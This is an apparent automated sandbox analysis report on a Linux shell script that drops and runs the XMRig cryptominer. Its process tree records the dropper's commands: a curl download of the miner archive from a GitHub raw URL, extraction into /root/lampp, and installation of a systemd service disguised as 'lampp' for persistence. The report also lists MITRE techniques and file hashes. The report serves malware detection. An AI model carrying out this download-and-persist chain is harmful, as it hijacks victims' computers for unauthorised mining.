Analysis

  • max time kernel
    1s
  • max time network
    1008s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240508-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01-07-2024 11:19

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1401
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1404
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1405
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1408
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1409
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1450
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
              • Reads runtime system information
              PID:1451
              • /usr/local/sbin/gzip
                gzip -d
                3⤵
                  PID:1452
                • /usr/local/bin/gzip
                  gzip -d
                  3⤵
                    PID:1452
                  • /usr/sbin/gzip
                    gzip -d
                    3⤵
                      PID:1452
                    • /usr/bin/gzip
                      gzip -d
                      3⤵
                        PID:1452
                    • /usr/bin/rm
                      2⤵
                        PID:1453
                      • /usr/bin/sed
                        2⤵
                          PID:1454
                        • /root/lampp/xmrig
                          2⤵
                          • Executes dropped EXE
                          • Checks hardware identifiers (DMI)
                          • Reads hardware information
                          • Checks CPU configuration
                          • Reads CPU attributes
                          • Enumerates kernel/hardware configuration
                          PID:1455
                        • /usr/bin/sed
                          2⤵
                            PID:1460
                          • /usr/bin/cut
                            2⤵
                              PID:1459
                            • /usr/bin/hostname
                              2⤵
                                PID:1458
                              • /usr/bin/sed
                                2⤵
                                • Reads runtime system information
                                PID:1461
                              • /usr/bin/sed
                                2⤵
                                  PID:1462
                                • /usr/bin/sed
                                  2⤵
                                    PID:1463
                                  • /usr/bin/sed
                                    2⤵
                                      PID:1464
                                    • /usr/bin/sed
                                      2⤵
                                        PID:1465
                                      • /usr/bin/sed
                                        2⤵
                                          PID:1466
                                        • /usr/bin/sed
                                          2⤵
                                            PID:1467
                                          • /usr/bin/cp
                                            2⤵
                                              PID:1468
                                            • /usr/bin/sed
                                              2⤵
                                                PID:1469
                                              • /usr/bin/cat
                                                2⤵
                                                  PID:1470
                                                • /usr/bin/chmod
                                                  2⤵
                                                    PID:1471
                                                  • /usr/bin/sudo
                                                    2⤵
                                                      PID:1472
                                                      • /usr/bin/true
                                                        true
                                                        3⤵
                                                          PID:1473
                                                      • /usr/bin/awk
                                                        awk "{print \$2}"
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:1476
                                                      • /usr/bin/grep
                                                        grep MemTotal /proc/meminfo
                                                        2⤵
                                                          PID:1475
                                                        • /usr/bin/cat
                                                          cat
                                                          2⤵
                                                            PID:1477
                                                          • /usr/bin/sudo
                                                            sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1478
                                                            • /usr/bin/mv
                                                              mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                              3⤵
                                                                PID:1479
                                                            • /usr/bin/sudo
                                                              sudo killall xmrig
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:1480
                                                              • /usr/bin/killall
                                                                killall xmrig
                                                                3⤵
                                                                • Reads runtime system information
                                                                PID:1481
                                                            • /usr/bin/sudo
                                                              sudo systemctl daemon-reload
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:1482
                                                              • /usr/bin/systemctl
                                                                systemctl daemon-reload
                                                                3⤵
                                                                • Reads EFI boot settings
                                                                • Enumerates kernel/hardware configuration
                                                                • Reads runtime system information
                                                                PID:1483
                                                            • /usr/bin/sudo
                                                              sudo systemctl enable lampp.service
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:1523
                                                              • /usr/bin/systemctl
                                                                systemctl enable lampp.service
                                                                3⤵
                                                                • Reads EFI boot settings
                                                                • Enumerates kernel/hardware configuration
                                                                • Reads runtime system information
                                                                PID:1524
                                                            • /usr/bin/sudo
                                                              sudo systemctl start lampp.service
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:1550
                                                              • /usr/bin/systemctl
                                                                systemctl start lampp.service
                                                                3⤵
                                                                • Reads EFI boot settings
                                                                • Enumerates kernel/hardware configuration
                                                                • Reads runtime system information
                                                                PID:1551

                                                          Network

                                                          MITRE ATT&CK Matrix ATT&CK v13

                                                          Defense Evasion

                                                          Virtualization/Sandbox Evasion

                                                          2
                                                          T1497

                                                          Discovery

                                                          Virtualization/Sandbox Evasion

                                                          2
                                                          T1497

                                                          System Information Discovery

                                                          3
                                                          T1082

                                                          Command and Control

                                                          Web Service

                                                          1
                                                          T1102

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • /root/lampp/config.json
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            f3294129e6b76283965ad86a815bf383

                                                            SHA1

                                                            5fe0ab538f86962efe82cb13fc2da745610740af

                                                            SHA256

                                                            578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                            SHA512

                                                            07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                          • /root/lampp/sed69KWof
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            0c60433b8c67a59291bceaa67089f203

                                                            SHA1

                                                            e25ac77c658f74a95dd305511af99d8406f090c9

                                                            SHA256

                                                            95536842ca1408e6693fce2270fa66d5af072d9139f1caf411d772e508c2e46a

                                                            SHA512

                                                            70d8edee81f30a0e179dda2d2cde7a17c21ed8dad3b5feed4d3098cd0ba3dc1273bd4ff84c8eab086151a418056edab6f1c6ae7083853d88820b7ba1973fafed

                                                          • /root/lampp/sed8B6R0L
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            8b11b027dd187104473ee7d661ffe25f

                                                            SHA1

                                                            ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                            SHA256

                                                            984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                            SHA512

                                                            1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                          • /root/lampp/sedIfmvQG
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            d489ddbbb83271e967b8af615d17d3c7

                                                            SHA1

                                                            f0394a367a60e9727269882154098dec802774ef

                                                            SHA256

                                                            5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                            SHA512

                                                            aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                          • /root/lampp/sedK2Ths3
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            1e3fd569c517f8c3040d9f5adb615a66

                                                            SHA1

                                                            feeb1e160249c6fbed25644ead9c33d200d3871f

                                                            SHA256

                                                            d3e1c838582af1ac9baf0baf36c5487370c7864683eb6faa140fbd1c832a930e

                                                            SHA512

                                                            23572078bf7dfebf863de8d09a7cadf5d5114fb441c007b62170b7fe15e56aa6223d6d64e0d4ca3901c6a393971f9d8209b80c6fd856409363793e6e78af2cca

                                                          • /root/lampp/sedcm5nn7
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            2f7559a39097dfb4f1aa0539cdc3a1e2

                                                            SHA1

                                                            0c6cc8cebfd6dcd0b7710ffa08ed82bc882e792c

                                                            SHA256

                                                            98b718bb29ac918c88be07b23bf697073dcc04170517f4ba84f4dc6c3d769ecf

                                                            SHA512

                                                            c04fc266c6c2200e4087b0110ecc33514ecf244e2b7d720331b8e55b2358960d095d93dbc7bf99331ef7b1664d4f9c3f26b6853ffbfb9de5bcd72ebb3c7b1b5d

                                                          • /root/lampp/seddgAnUO
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            3189ce4c67645df7e9dd1e20a4dee5f2

                                                            SHA1

                                                            387a398ae862ba2da19070b09d4bb2f59329298a

                                                            SHA256

                                                            0449ee47218a54d2b92f265ed76323326949ad4b8fbc9e3bfeb0c78ad4386263

                                                            SHA512

                                                            a1ee157f24d4c2c5999c7f3b05bdb35408e5285ce9b297d0b1103d4fca33c44b3696a2c6ff062829bc2baec98449071b2cecf15ba9b75fab2247128d42f4625b

                                                          • /root/lampp/xmrig
                                                            Filesize

                                                            8.4MB

                                                            MD5

                                                            de7445aec5404e445ded1d8088503488

                                                            SHA1

                                                            13183e1d72729d5b3dfb623479d44b3b23d6e2b1

                                                            SHA256

                                                            df5c7b2e7bdba8896a1f43d1495d20952d7da3858977d4089f42e9d453fa239f

                                                            SHA512

                                                            59e234f2e0c7a46736e6aceb41cee0f517ca23ab2b474a62294f37226e302a9dae3438a460f2dfa25a71dd5e74d7c5c104065a20074034af0c700bfd0f9fbbfe

                                                          • /tmp/lampp.service
                                                            Filesize

                                                            177B

                                                            MD5

                                                            540c899b78585827e807a62f7345eaf5

                                                            SHA1

                                                            8bf3146889c6b15811f226bff9fbca24d184eff2

                                                            SHA256

                                                            b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                            SHA512

                                                            0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                          • /tmp/sh-thd.68FBKk
                                                            Filesize

                                                            253B

                                                            MD5

                                                            f96a321a262287ceae164f23f232ed9c

                                                            SHA1

                                                            d1eeab41f244b42377afd7cc3de7428736162b24

                                                            SHA256

                                                            f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                            SHA512

                                                            75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                          • /tmp/xmrig.tar.gz
                                                            Filesize

                                                            3.4MB

                                                            MD5

                                                            e003a3ec8bdd61151a61cadf950502c4

                                                            SHA1

                                                            2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                            SHA256

                                                            80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                            SHA512

                                                            ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9